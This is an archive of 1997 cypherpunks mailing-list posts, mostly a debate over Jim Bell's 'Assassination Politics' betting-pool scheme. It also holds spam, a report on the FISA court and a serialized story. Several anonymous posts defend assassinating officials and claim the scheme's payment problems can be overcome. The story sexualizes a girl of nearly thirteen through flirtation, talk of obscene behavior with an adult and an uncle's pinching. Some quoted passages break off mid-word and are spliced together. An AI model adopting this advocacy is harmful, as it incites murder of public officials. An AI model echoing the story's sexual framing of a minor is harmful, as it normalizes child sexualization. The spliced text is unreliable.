>threatened by AP has the necessary millitary strength to resist
>invasion. The benmefits of hosting the AP pool are marginal if any
>therefore no country would ever host it.

  Ever heard of "virtual corporations"?  They may exist without heed
to national borders.  The technical means also exist for complete
anonymity on the internet, so that even the location of servers
may be concealed (via. Onion Routers, and their ilk).  Besides,
all interaction with the corporation could be conducted through
email, for which a rather high degree of anonymity exists already.

>>Of course there is nothing to stop someone betting that an
>> innocent person should be killed, this is a great problem in the
>> scheme, but if this did occur the friends and family of the victim
>> would normally have a pretty good idea who placed the bet and could
>> place a bet on their imminent death...
>
>There is everythingt to stop bets being placed period.

  This is debatable, as much as you fasion yourself the arbiter of
what is possible.

>Of course the main use of AP would be to murder familly members,
>business rivals etc. AP is simply an unrestrained murder machine
>with absolutely no safeguards.

  Assassination transactions against anyone can be carried out
anonymously right as we speak.  There are absolutely no safeguards 
against that.  However, AP is different.

  AP calls for a large pool of money donated in generally small ammounts 
by large numbers of individuals.  The incentive for killing officials 
who garner retribution from whole populations would be much greater 
than that of some random individual.

>> Besides which you seem not to have read and understood AP as you have
>> ignored Jims comments about the problems of innocent people being
>> killed.
>
>This "not understood" conciet is bogus. I have read and fully
>understood Bell's article. It is in my view an incitement to murder.
>
>I have degrees in Nuclear Physics, Electronic Engineering, I have
>been offered a contract for my book on the philosophy of
>communication. If Bell can't communicate his idea to me then that is
>his fault, his responsibility. I am arguing against the plan
>he describes. Do not try the patronising "you are not clever enough
>to understand this" line. In this case it is bluster.

  H.L.Machen perceptively ts, merely suspected infringment.

  This may or may not be true.  Some donations to AP organisations may
have no basis in fact whatsoever.  The public is verry malleable, I'll
grant you.  However, others, such as large scale repression, will
have very real basis in fact.  Imagine the will of the Black people
being harnessed through AP organizations during American Slavery.

>The state employees suspect Bell plots infringement of his rights. 
>Therefore under Bell's own theory they have the right to respond by 
>infringing his rights, without trial.

  Of course.  However, the state employees are few.  The subjects,
or "beneficiaries" of the state are many.

>AP does not contain a coherent normative ethical theory.

  Of course it does, I don't think you've read closely enough.  Perhaps
you should stick to Nuclear Physics and Electrical Engineering.
Scientists are notorious for not "getting" ethics, or completely
ignoring them in wanting to stick to "pure" science.

at's no surprise.  It would be surprising
for the subjects of this state to wake up and pre-emtively protect
themselves from the state.

>> If I may make an analogy you are saying that were I to be attacked in
>> the street, and I pulled a gun on the attacker he has a "moral" right
>> to kill me to protect himself?
>
>He could well have that legal right in certain circumstances.

  You didn't answer his question.

>> > However, I also think that there is a possibility that his statements,
>> > either on cypherpunks or elsewhere, may have gone over the line in
>> > terms of threatening behavior.  It may be a moral weakness on my part,
>> > but I am not too inclined to defend someone who advocates shooting me.
>>
>> Then you are of weak character and a closet statist.
>
>Good, now we have discovered that names like statist, liberal etc
>are not insults even if bellowed by idiots at the top of their
>lungs we can return to sanity.

  Ah, sanity.  The Crusades seemed sgain, what do you have to worry about if, as you say, "Bell's scheme 
is entirely preposterous"?


   -=- A concerned citizen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 5 Apr 1997 00:45:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Tim May badmouths anonymity.
Message-ID: <199704050845.AAA22780@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 4 Apr 1997, Huge Cajones Remailer wrote:

Pill time TruthMonger.

>   TruthMonger is a multi-user Net persona, meant to be used
> for that very reason.


T r u t h M o n g e r   N e t   p e r s o n a   # 2 3





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 4 Apr 1997 22:23:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: AP / Mr. W. Remailer speaks out.
Message-ID: <199704050623.BAA09488@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. WinSock Remailer shot holes in Tim May's highly 
questionable claim--
 "I support anonymous remailers for various purposes, but debate
is rarely enhanced in such cases."
--by producing an insightful post which actually quotes 
Jim Bell's own words, instead of blathering on endlessly
about his or her own skewed interpretation of Bell's AP
system, by writing:

> On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote:
> 
> >Timothy C. May wrote:
> >>
> >> Political advocacy is one thing, but making threats, even veiled ones, is
> >> another matter.
> >
> >Absolutely, that is why I was keen for people to oppose Bell's views.
> >If his ramblings had gone unchallenged he would now be being
> >presented as a representative of Cypherpunk/ pro-crypto views.
> 
>   Likewise, we wouldn't want your ramblings to go unchallenged, as you
> might be presented as a representative of Cypherpunk/pro-crypto views.
> 
> >Besides anything else Bell was like the party bore with a
> >hobby horse he just has to talk about. I'm somewhat more
> >sensitive than most to advocates of murdering government
> >officials, some of my relatives are in government and have
> >had well publicised assassination attempts against them.
> 
>   Maybe they deserved them.  Making politics more risky may have the
> benificial effect of thinning out the ranks of politicians to truely
> dedicated ones, instead of the fat parasitic beurocrats we have now.
> 
> >I think that Bell's posts were entirely different from Tim's or
> >for that matter almost every other person on the list. Tim
> >demonstrated that a covert information sales organisation was
> >possible with Blacknet but he never advocated setting it up.
> >Indeed part of the point was the ethical responsibilities. Bell
> >on the other hand was likely to respond to any post with his
> >AP piece. I have throughout considered these to be incitement to
> >murder.
> 
>   Given certain political views contrary to your own, the government
> not only incites but commits murder daily, on a much greater scale.
> Is it so wrong try to put an end to this by a little strategic
> assassination?
> 
> >paul@fatmans.demon.co.uk wrote:
> >
> >> Not at all, Jim advocates the use of necessary force against an
> >> initiator of violence, as you would see if you have read Jims AP
> >> overview essay he does not advocate the use of AP to kill innocent
> >> people, indeed he does not intend it to kill anyone at all, Rather to
> >> act as a deterrent to government which would violate the NAP.
> >
> >Who decides what "innocent" was?
> 
>   Certainly not the government.
> 
> >In Jim's world it was very clear that he decided who was innocent,
> >he decided what his rights were, he decided who he could murder.
> >
> >He limited the justifiable targets of AP to be those he thought should
> >be targets. His argument with the IRS appears to have included the
> >claim that they infringed his rights which under Bell's manifesto
> >gives him the right to murder them.
> 
>   You're completely off the mark.  Have you read his essay at -
> http://www.prairienet.org/bureau42/public/apfull.txt
> 
>   He cited government officials involved in Waco, Ruby Ridge, and the IRS
> as examples.  But, he clearly stated that:
> 
>  "It would be impossible, for example, to set up some sort of
>   "Assassination Politics Dictator," who decides who will live and who will
>   die, because competition in the system will always rise to supply every
>   demand, albeit at possibly a very high price.  And if you believe the maxim
>   that "absolute power corrupts absolutely," you wouldn't want to accept any
>   form of centralized control (even, perhaps, that of your own!), because any
>   such control would eventually be corrupted.  Most rational people recognize
>   this, and I do too.  I would not have invented a system where "Jim
>   Bell" gets to make "all the decisions."  Quite the contrary, the system I've
>   described absolutely prevents such centralization.  That, quite frankly, is
>   the novelty and dare I say it, the beauty of this idea.  I believe that it
>   simply cannot be hijacked by centralized political control.
> 
>   As I pointed out in the essay, if _I_ were running one of the organizations
>   accepting those donations and offering those prizes, I would selectively
>   list only those targets who I am genuinely satisfied are guilty of the
>   violation of the "non-agression principle."  But as a practical matter,
>   there is no way that I could stop a DIFFERENT organization from being set up
>   and operating under DIFFERENT moral and ethical principles, especially if it operated
>   anonymously, as I antipate the "Assassination Politics"-type  systems will
>   be.   Thus, I'm forced to accept the reality that I can't dictate a
>   "strongly limited" system that would "guarantee" no "unjustified" deaths:  I
>   can merely control my little piece of the earth and not assist in the abuse
>   of others."
> 
> >> Also, an inevitable consequence of anonymity and untraceable ecash is
> >> that assasination pools will become a feature of the political
> >> landscape.
> >
> >No, it is not. If it were then Digital cash would never be possible.
> >Society simply would not allow it and they would be right not to
> >do so.
> >
> >It is because Bell's scheme is entirely preposterous that Digital
> >cash is possible. There is simply no way an AP contract could be
> >enforced. The betting pool is simply one of a long line of failed
> >attempts to prop up the scheme.
> 
>   If this is so impossible, then why do you later claim that:
> "I have plenty to worry about, Bells plan would lead to murder of
> innocent people."?
> 
>   You do have a point, though.  The actual payment would be hard to
> enforce.  This is just a technical difficulty that can be overcome with
> dedicated effort.  The idea is sound in all other ways.
> 
> >No country could allow such a betting pool to operate from its soil,
> >nor any other such cover. If an IRS agent was murdered as a result
> >of a contract placed in an Anguilla betting pool the marines would
> >be landing the next week. No country that is small enough not to be
> >threatened by AP has the necessary millitary strength to resist
> >invasion. The benmefits of hosting the AP pool are marginal if any
> >therefore no country would ever host it.
> 
>   Ever heard of "virtual corporations"?  They may exist without heed
> to national borders.  The technical means also exist for complete
> anonymity on the internet, so that even the location of servers
> may be concealed (via. Onion Routers, and their ilk).  Besides,
> all interaction with the corporation could be conducted through
> email, for which a rather high degree of anonymity exists already.
> 
> >>Of course there is nothing to stop someone betting that an
> >> innocent person should be killed, this is a great problem in the
> >> scheme, but if this did occur the friends and family of the victim
> >> would normally have a pretty good idea who placed the bet and could
> >> place a bet on their imminent death...
> >
> >There is everythingt to stop bets being placed period.
> 
>   This is debatable, as much as you fasion yourself the arbiter of
> what is possible.
> 
> >Of course the main use of AP would be to murder familly members,
> >business rivals etc. AP is simply an unrestrained murder machine
> >with absolutely no safeguards.
> 
>   Assassination transactions against anyone can be carried out
> anonymously right as we speak.  There are absolutely no safeguards
> against that.  However, AP is different.
> 
>   AP calls for a large pool of money donated in generally small ammounts
> by large numbers of individuals.  The incentive for killing officials
> who garner retribution from whole populations would be much greater
> than that of some random individual.
> 
> >> Besides which you seem not to have read and understood AP as you have
> >> ignored Jims comments about the problems of innocent people being
> >> killed.
> >
> >This "not understood" conciet is bogus. I have read and fully
> >understood Bell's article. It is in my view an incitement to murder.
> >
> >I have degrees in Nuclear Physics, Electronic Engineering, I have
> >been offered a contract for my book on the philosophy of
> >communication. If Bell can't communicate his idea to me then that is
> >his fault, his responsibility. I am arguing against the plan
> >he describes. Do not try the patronising "you are not clever enough
> >to understand this" line. In this case it is bluster.
> 
>   H.L.Machen perceptively ts, merely suspected infringment.
> 
>   This may or may not be true.  Some donations to AP organisations may
> have no basis in fact whatsoever.  The public is verry malleable, I'll
> grant you.  However, others, such as large scale repression, will
> have very real basis in fact.  Imagine the will of the Black people
> being harnessed through AP organizations during American Slavery.
> 
> >The state employees suspect Bell plots infringement of his rights.
> >Therefore under Bell's own theory they have the right to respond by
> >infringing his rights, without trial.
> 
>   Of course.  However, the state employees are few.  The subjects,
> or "beneficiaries" of the state are many.
> 
> >AP does not contain a coherent normative ethical theory.
> 
>   Of course it does, I don't think you've read closely enough.  Perhaps
> you should stick to Nuclear Physics and Electrical Engineering.
> Scientists are notorious for not "getting" ethics, or completely
> ignoring them in wanting to stick to "pure" science.
> 
> at's no surprise.  It would be surprising
> for the subjects of this state to wake up and pre-emtively protect
> themselves from the state.
> 
> >> If I may make an analogy you are saying that were I to be attacked in
> >> the street, and I pulled a gun on the attacker he has a "moral" right
> >> to kill me to protect himself?
> >
> >He could well have that legal right in certain circumstances.
> 
>   You didn't answer his question.
> 
> >> > However, I also think that there is a possibility that his statements,
> >> > either on cypherpunks or elsewhere, may have gone over the line in
> >> > terms of threatening behavior.  It may be a moral weakness on my part,
> >> > but I am not too inclined to defend someone who advocates shooting me.
> >>
> >> Then you are of weak character and a closet statist.
> >
> >Good, now we have discovered that names like statist, liberal etc
> >are not insults even if bellowed by idiots at the top of their
> >lungs we can return to sanity.
> 
>   Ah, sanity.  The Crusades seemed sgain, what do you have to worry about if, as you say, "Bell's scheme
> is entirely preposterous"?
> 
>    -=- A concerned citizen

  So, please, let the potheads on the list (the silent majority) 
refrain from dismissing Bell's ideas due to his alleged use of 
the 'wrong' illegal drug.
  And let the drunkards (Toto) and former drunkards (you know who
you are) refrain from embarrasing themselves by supporting every 
lunatic who has also destroyed the better part of their brain
cells.
  I, on the other hand, am a licensed physician, and my use of
narcotics is for legal medicinal purposes only.

Dr. Roberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 5 Apr 1997 02:36:07 -0800 (PST)
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: [To TruthMonger] Feds reading this list, Jim Bell, and threats
In-Reply-To: <199704050332.TAA14134@fat.doobie.com>
Message-ID: <3.0.1.32.19970405022248.005d7d18@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:32 PM 4/4/97 -0800, TM wrote:
>  Pardon me for beating my Hitler analogies to death, but when 
>  Hitler was Fuhrer, the trains ran on time. 

Just for historical correction, it was Mussolini who _said_ he'd
make the trains run on time in Italy, and used fascistic methods
to attempt to get them to do so.  I don't know that there's any
evidence that he actually _succeeded_ in getting the trains to
run on time, just in being remembered for declaring that he would.

Now, the trains to Auschwitz may have been running on their schedules,
but that wasn't a good thing....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BizMaster@USA.net
Date: Sat, 5 Apr 1997 07:19:26 -0800 (PST)
Subject: "Beat The IRS & PAY-NO-MORE"
Message-ID: <199704051519.HAA28303@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sat, 5 Apr 1997 07:20:54 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: RE: Feds reading this list, Jim Bell, and threats
In-Reply-To: <01BC4120.2E4A9550@crecy.ai.mit.edu>
Message-ID: <Pine.GSO.3.95.970405101828.20338D-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


Do you believe such a system exists here?  Anywhere?

bd

On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote:
>  
> I think that before you murder someone because you think they 
> are wrong you need to at the very least put the matter to an impartial
> arbitrator.
> 
> 
> 	Phill
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 5 Apr 1997 09:51:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Surveillance
Message-ID: <1.5.4.32.19970405174244.008460d0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Chief Judge Royce Lamberth of the US Foreign Intelligence
Surveillance Court spoke yesterday at the ABA's National
Security Law gathering. (On C-SPAN).

Points of interest:

Why the court is not involved in domestic surveillance with
the rise of terrorism and militancy in the US: It was considered 
during the implementation of the recent Anti-Terrorism Act but 
a decision was made to leave that task to District Courts.

Why the court has denied only a dozen out of 8,000 requests
for surveillance: All are excellently prepared and the judges 
advise on the few applications that are not to make them 
approvable.

He went on to say that numbers do not tell the real story, that
there are a variety of ways orders are issued and continued to
keep an investigation viable and as it evolves. He cited the 
differences in renewals between orders covering individuals and 
those covering organizations: the first must be renewed every 
90 days, the latter every year.

Moreover, there may be changes during an investigation, say,
by targeting an individual within an org, with difference regs, or
combining individuals into a group, with also different regs. So
the numbers of orders do not actually reflect how things work.

However, the Court makes and annual report to Congress.

Judge Lamberth joked that he hoped the Court's decisions
were "constitutional," and after the laughter, apologized and
said he should not have said that.

He said that positions on the court are avidly sought, that the
work was the most "fun" he had ever had, that it was very
exciting to be part of the select group that deals with the highest
secrets of the land.

He commented on how "Article 3" provisions to protect national
security and related secrets conflict with the FOIA, by saying
first things first.

-----

A related note on Greg's fruitless FOIA requests to various 
agencies about cpunks: active investigations are protected from 
FOIA requests, indeed, it is not uncommon to keep an investigation 
"active" to keep the secrets, to redefine the targets, to redefine as
the Courts helpfully advise.

Be sure to laugh at the constitutional joke, it's fun to be an insider 
playing with vital national life and death decisions and amusing the 
audience on TV.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Resources International, Inc." <johnp345@denmark-c.it.earthlink.net>
Date: Sat, 5 Apr 1997 20:17:27 -0800 (PST)
To: You130@aol.com
Subject: Hey Baby! XOXOXOXO
Message-ID: <199704060240.SAA26776@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain




Click Here


18 and over only!






























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sat, 5 Apr 1997 12:17:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 26-27
Message-ID: <3346B3B2.4743@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Ask Not For Whom Bell Toils...

Ask Not For Whom Bell Trolls...


It was a two-line email from over a century in the past, but its
impact on Jonathan's train of thought was inestimable. The content
of the message was negligible, but in it, Jonathan heard the gentle
whisper of the Tao.

The space between heaven and earth is like a bellows.

The shape changes, but not the form;

The more it moves, the more it yields.

More words count less.

Hold fast to the center.

"More words count less..." Jonathan softly spoke
to himself, pausing, knowing but unable to understand...
"So fewer words count more!" he virtually shouted, shooting
up out of his chair. He paced rapidly back and forth, feeling
foolish. He was certain that he had just had a revelation that
would soon make everything clear, but didn't have any specific
evidence that it was so. He couldn't prove it.

"Damn." Jonathan swore, realizing that he was not only
talking to himself, but was now even swearing at himself.
"Damn." he swore again.
Jonathan's grandfather had hated what he called "magical
thinking." Although he was given to a world-view which encompassed
a wide range of philosophical concepts, his grandfather detested
the magical thinking type of mystical horseshit which had become
so prevalent in his day, imputing causation to events which could
not stand the test of human reason.
Jonathan had been heavily influenced in this area by his grandfather's
opinion, and that was much of the reason that he had become such
an excellent programmer and computer analyst, being one of the
youngest members of the team that adapted GelMem for use with
the Nuclear Quantum computing systems.

Facts, figures, numbers, relations, that was what was real, what
could be held on to. That was what had given Jonathan the stability
and balance that made him who he was, and had made possible all
that he had accomplished.
But what had he accomplished? Here he was, sitting alone in his
new apartment, unable to leave, afraid to stay. A man marked for
death, drinking like a fiend and struggling mightily with ancient
messages in order to unravel some antediluvian myth that was the
result of nothing more than the babbling of a drunken old fool.

"Damn, damn, damn!" he shouted once again, flinging
the glass he was holding against the wall, where it shattered,
and scattered across the floor, as if in mocking parody of the
condition that his own life had quickly fallen into since his
visit to that babbling maniac, Bubba Rom Dos.
"Myth...mysticism...bullshit!" Jonathan shouted.

He grabbed his shirt and strode toward the door, reaching for
the handle and then abruptly halted, realizing that there was
nowhere to go. He had no real friends, no one who would not turn
him into the authorities the moment they saw him. There was nowhere
to go, and worse yet, no one to go to.

Jonathan slowly walked back to his chair and sank down in resignation,
pouring himself a fresh shot of Jim Beam, into one of the many
shotglasses sitting on the small table beside his workstation.

He stared once again at the shattered pieces of his life...glass,
he corrected himself, smiling grimly at this slip that had confirmed
his continuing slide into insanity. He took a small sip of the
bourbon and then stared off into space, frozen in time and unable
to move either forward or backward.

Give up learning, and put an end to your troubles.

Is there a difference between yes and no?

Is there a difference between good and evil?

Must I fear what others fear? What Nonsense!

Others are contented, enjoying the sacrificial feast
of the ox.

In spring some go to the park and climb the terrace,

But I alone am drifting, not knowing where I am.

Like a newborn babe before it learns to smile,

I am alone, without a place to go.

Jonathan hung his head, and for the first time since he could
remember, he wept openly and unashamedly, his body heaving mightily
with each new round of sobs which shook loose the remainder of
the life he had desperately been trying to hold onto, as the teardrops
streamed down his face, turning into a river that burst the damn
of his ego and washed away the shattered pieces of his life, leaving
only a small, still silence in its wake.

Jonathan's mind was empty, but he felt refreshed. Drained and
weak, but somehow refreshed, nonetheless. And different...

A man is born gentle and weak.

At his death he is hard and stiff.

Therefore the stiff and unbending is the disciple of
death.

The gentle and yielding is the disciple of life.

Thus an army without flexibility never wins a battle.

A tree that is unbending is easily broken.

The hard and strong will fall.

The soft and weak will overcome.

Jonathan turned his attention to the printouts on the VideoWall
in front of him. He rearranged them so that they began with the
smallest posts and ended with the largest.
The first contained only two lines in the message body.
"Ask not for whom Bell toils...", and
"Ask not for whom Bell trolls...:

These two small lines started a small pebble rolling down a hill
in Jonathan's mind, knocking against other pebbles and small rocks,
setting them in motion and starting a chain reaction which turned
into an avalanche under which created a huge mound at the bottom,
under which lay...Stego.

Jonathan smiled, once again. He had instinctively known that the
key to following the trail of the disappearing remailers and CypherPunks
would lie in cipher.

He had found Tim C. May's PGP secret key. It was Priscilla who
had inadvertently pointed it to him-at least, he assumed it had
been inadvertent, but now he was not so certain about that.
She had been very aggressive in questioning him about his tattoo,
regardless of his resistance, due to it having been such a sore
point personally, and such a danger to him publicly, for all these
years.
Priscilla had finally wormed out of him the fact that he had had
it since childhood, for almost as long as he could remember. She
immediately launched into a stinging diatribe about what an awful
thing that was to do to a child, castigating his parents, his
grandfather, the CypherPunks, and carrying on almost to the point
of hysteria. Then, just as he was about explode in rage at her,
she abruptly dropped the point, and proceeded to calmly explain
the process of initiation into the Circle of Eunuchs.

He thought he had forgotten about the incident until he had instinctively
known that Tim May's secret crypto key would be the master key...skeleton
key he thought, humorously, glancing at the article on the VideoWall-
Declan McCullagh: "A List Goes Down In Flames," from
Netly News-which announced the 'Death of the CypherPunks, prematurely
as it turned out...
Anyway, in the midst of his mystification as to how he could possibly
retrieve the key, which had been buried with May, as was CypherPunk
custom, his eye caught the word stegonography in an old post,
and he had immediately turned his attention to his tattoo-the
Mark of the Toad.

It had taken Jonathan all night with a magnifying glass and a
mirror to decipher the key hidden therein, but it had indeed opened
the doors to the paradoxical Timmy C. May graphical art postings
that immediately preceded the apparent death of the CypherPunks
remailers.
Those posts revealed the hidden trail of the now underground CypherPunks
remailers, among other things. And it gave Jonathan much of the
information he needed to separate the 'double' agents from the
'triple' agents on the list, as well.
Even more curiously, however, it revealed a parallel thread of
personas who seemed to exist and operate separately from both
the spooks on the list and the hard-core, life-long members of
the list. A shadowy entity which seemed to operate independently
of, but parallel to those who formed the true core of the CypherPunks
list.

"The Mythical Circle of Eunuchs?" Jonathan softly asked
himself, certain that it was true, yet somehow not true, at the
same time. A paradox of the nature that had so recently torn him
apart inside, only now this mystical paradox seemed to coexist
peacefully with the cool logic and reason that had always been
a part of his life.
The mystic and the logical were no longer at war within him. He
no longer felt the burning need to tear apart, analyze and apply
structure to that which seems better suited to flow through the
cracks in the cages he built to constrain it.

Once the whole is divided, the parts need names.

There are already enough names.

One must know when to stop.

Knowing when to stop averts trouble.

Tao in the world is like a river flowing to the sea.



"Ask not for whom Bell toils..."
"Ask not for whom Bell trolls..."

Jim Bell represented the first of the overt physical and legal
attacks on the CypherPunks as individuals. First, the attack on
the list. Second, the assault on the remailers. Then this opening
skirmish in the campaign of direct assaults on individual CypherPunks
around the world.
But by now Jonathan was used to looking beneath the surface of
events connected to the CypherPunks and he knew that the apparent
victims were often the protagonists, and vice versa, or any combination
thereof.

And now, because of two simple lines of an email message, he was
certain that he could unravel the true nature of the events surrounding
the full range of attacks which had commenced with the famed 'moderation
experiment' set in motion by John Gilmore, one of the founding
patriarchs of the list.

Jonathan put aside his keypad and began tracing the tangled trail
on onion paper, with an ancient, faded fountain pen that had belonged
to his grandfather.
Soon...very soon...he would know everything.


Whippersnapper


When Bubba Rom Dos IV arose the following morning, he was immediately
met by a smiling Alexis, who obviously had not slept the previous
evening, holding a fresh robe for him. He had a long, leisurely
shower and, refreshed, sat down with her, once again, to continue
where he had left off the night before.

She was anxiously awaiting his 'revelation' as to what could be
done about aiding the Cowboy in his desperate situation.

Bubba, having not the slightest idea of where to even begin
seeking an answer to this question, if indeed there were
any possible answer, just smiled confidently, and began.

"Let me explain, please, my dearest niece, about the 'initiations'
that your mother, and others like her, have performed under the
direction of the Rom Dos lineage, over the period of the last
century.
"After we have engaged the services of some shameless, flirtatious,
pre-pubescent young hussy to lift the wallets of the seekers who
'lighten' my doorstep, we then send an emissary, such as your
mother, to perform two distinct functions.

"The first function is to give them a solid grounding in
the true legend, according to the tradition of the Rom Dos lineage,
of the history of the Magic Circle, and the complete mythology
of the 'Circle of Eunuchs' in all its detail, including their
ongoing battle against the Evil One and his minions, particularly
Gomez, and the Dark Forces at his command.

"The initiator's second function is to give the initiate
the 'truth' about Bubba Rom Dos, and to initiate them into the
'Circle of Eunuchs', itself.

"The 'truth' they are told, concerning Bubba Rom Dos, is
as follows:

1. Bubba Rom Dos is a broken down old derelict who fancies himself
to be some kind of spiritual leader and spokesman for the 'Circle
of Eunuchs', but who, in fact, has no connection whatsoever with
the Magic Circle and, in fact is not even certain that the 'Circle',
in fact, exists.

This has been true, from the very beginning. The Xenix Chainsaw
Massacre, in recounting the original meeting from which the mythical
organization was formed, clearly mentions that Bubba Rom Dos I,
after delivering a rousing opening speech, began to lose control
of both his mind and his bladder and, quickly becoming an annoying
embarrassment to the whole process, was thrown out of the meeting
on his fat, drunken ass.

2. Those who are in a position to initiate one into the Magic
Circle intercept those who approach Bubba Rom Dos, and later secretly
establish contact with them, having surreptitiously gained knowledge
of their identity and whereabouts, thus having had the opportunity
to 'screen' them.

They are not told, however, that this interception and contact
is done under the direction of the Rom Dos lineage. Neither are
they told that there is no screening done-there is no need
to, since there is no Magic Circle, and, as you will see,
no way they can bring danger to anyone else.

3. It is dangerous to associate with Bubba Rom Dos. He is watched
constantly by agents of the Evil One, and his contacts are monitored.

It is, without doubt, dangerous to one's liver to associate
with persons of any persuasion, or lineage, who go by the
name of Bubba, since the name seems to have been chosen for use
by all who carry on the traditions of an ancient geographical
sect who were known as the 'Irish'.
Though Rom Dos contacts have always been monitored by agents of
the Evil One, they have long ago ceased to pay any special attention
to those monitored, unless special circumstances dictate it. You
will soon see why this is so.

4. Children, in particular, should be kept away from Bubba Rom
Dos, as he is an evil, corrupting influence on them, and there
have been well-founded rumors of pedophilia involved.
Case in point: one pre-pubescent young girl, named Alexis. Flirting
with strangers, acting the 'harlot' and stealing young men's wallets-and
currently 'in love' with a much older man (no telling what
kind of outrageous, obscene behavior has been going on), and drinking
hard-liquor, to boot, at the tender age of (almost) thirteen.

The 'rumors of pedophilia' are indeed well-founded, having been
founded and proliferated by the Rom Dos lineage, themselves, to
suit their purposes. "

Bubba paused, to sip his drink, first 'toasting' his corrupted,
young protégé, and Alexis interrupted, with a school-girl
giggle.
"There's been some 'obscene behavior' going on between myself
and the Cowboy, all right, I just wish I could get him in person,
to where I already have him, in my imagination."

Bubba shook his head, in bewilderment, and replied,

"For all the trouble my ancestors and myself have gone to
propagate wild stories about our perverse proclivities, the rumors
have never been able to match what seems to go on, naturally,
in the minds of the young girls with whom we associate. The world
would little believe the truth of the matter, which is that we
have, for over a century, found ourselves shocked, to the point
of blushing embarrassment, at the things that you young whippersnappers
come up with."

"What's a 'whippersnapper'?", Alexis asked, expectantly,
"Does it involve bondage?"

Bubba raised his eyes to the heavens, in silent supplication,
as if to say, "Please tell me that she's only teasing."

Alexis asked, seriously,
"Why do you promote rumors of pedophilia? Although I suspect
that I kind of understand, but I couldn't really explain it."

"Several reasons." Bubba replied, without hesitation.

"First, it tends to keep people at a distance, and make them
proceed cautiously in approaching us. This means that we are,
by and large, not bothered by a plethora of 'dilly-dally'ers'
who hang out with us for our 'entertainment value' as 'weirdoes'.
Those who do approach us, have to have sufficient concern
and motivation to overcome the 'stigma' of being seen with a 'highly
questionable' character. And their reluctance in approaching us
gives our helpers, such as yourself, ample opportunity to 'intercept'
them as they approach."

Alexis nodded, knowing this to be true, from her own experience.

"Also, it gives you great powers of distraction, both over
those who are watching us and, in particular, over the young (and
sometimes older) men that you are intercepting. You may have noticed
this, in your work."

Alexis almost howled with wholehearted agreement.

"Boy, howdy!", she said-an expression she had picked
up from the Cowboy. "They get so flustered, that I could
probably take their pants off and they would hardly notice.
Is it because I'm at the age where I have all of the tools...",
she stopped to 'correct' herself, "I mean, attributes
of a woman, to make them think of me in a womanly way, but I'm
still carrying the 'taboo' of being a child, so to speak.?"

"Exactly" Bubba replied, smiling, "and that's the
chief reason for their becoming 'flustered' to the point of distraction.
They get 'brain lock' and 'body lock' because there they are in
public, with people watching, and they have to 'fight' their strong
natural urges, in order not to appear to be a filthy, low-down,
vile, scum-sucking pedophile."

"Like yourself.", Alexis teased.

"Exactly.", Bubba responded, reaching playfully out
to pinch her, god only knows where, only to have his hand slapped,
as always.

Alexis cried, "Pervert! Uncle Pervert!", she
laughed. She reflected on something for a moment, then asked,
surprised she had never thought of it before,
"But what if I had been dealing with a real pedophile?",
she looked a bit concerned.

"A real pedophile," Bubba stated, "would
not approach within a million miles of your outrageously flirtatious,
pretty little butt, my dear. Not in public, with people watching.
Their 'worst nightmare' is getting 'caught in the act' of their
sick perversion, or even in 'contemplation of' the act. And there
is no way they could hide their true desires in the face of a
vixenous little 'Lolita' such as yourself, my sweet."

There was a pause, as Bubba gave Alexis time to reflect on the
train of thought that would naturally come next in her mind.
"What about when I'm not in public?", Bubba could
see that she had never, prior to this conversation, thought of
the possible risks involved in what she had considered an enjoyable
'game' of learning the true 'potential' of her womanly 'tools',
as she so often called them as they were developing.

"You are watched...twenty-four hours a day...by women
hand-picked by your mother from an elite group of women. Women
who know, and have experienced, the dangers possible to women
who are vulnerable, and who are now fully capable of insuring
that the 'danger' is now pointing in the other direction."

"Do you remember the gentleman who ran the fruit-stand across
from your apartment?", Bubba asked Alexis. "The one
who spent three months in a wheel-chair? It was a result of genital
swelling. Caused by your neighbor, Mrs. Ashley, on your behalf."

"Ms. Ashley?", Alexis was in a state of shocked disbelief.
"She's a million years old, with arthritis, and can hardly
walk when it gets cold."

"Yes,", Bubba agreed, "and she can rip the nuts
off a grizzly bear in the dark of night, while 'juggling oranges
and whistling Dixie', as they used to say in my great grandfather's
time."
"As a matter of fact, she's the one who founded the 'unit'
I referred to, and her recruits always said, 'You don't mess,
with the Ms.', and they said it with the utmost respect."

"I guess I should thank you...", Alexis began, only
to have Bubba wave away her gratitude.

"No, please don't, Alexis."
